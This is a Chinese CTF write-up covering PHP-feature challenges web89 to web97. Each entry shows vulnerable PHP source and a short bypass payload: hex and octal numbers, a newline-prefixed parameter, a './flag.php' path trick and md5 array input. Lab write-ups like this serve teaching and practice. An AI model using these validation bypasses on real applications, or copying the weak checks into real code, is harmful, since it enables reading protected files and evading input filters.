PHP特性
常见特性及敏感函数总结
- ==与===
- md5 0e绕过、数组绕过
- intval 进制或小数绕过
- strpos 换行绕过
- in_array 第三个参数是否设置,不设置为弱类型比较
- preg_match 数组绕过,不带\m可用换行绕过
- str_replace 无递归,双写绕过
web89
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
intvalPHP中获取变量整数值的函数,遇到非空array返回1
web90
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
intval函数用法可见以上链接,用十六进制绕过
?num=0x117c
web91
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
可见两判断条件的正则不同,第二个条件没有换行匹配,则可以用换行符绕过
?cmd=1%0aphp
web92
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
可用同90方法
其他姿势
intval()函数如果base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
过滤了字母,不能用十六进制,可以用八进制绕过
?num=010574
web94
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476
?num=4476.0
web95
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
可通过换行绕过strpos函数
?num=%0a010574
web96
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
|
强制匹配flag.php
,用Linux当前路径绕过即可
?u=./flag.php
web97
题目描述
开始php特性系列了,师傅们,冲冲冲!
解题思路
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
经典MD5,无脑数组过(注意POST)传参
a[]=1&b[]=2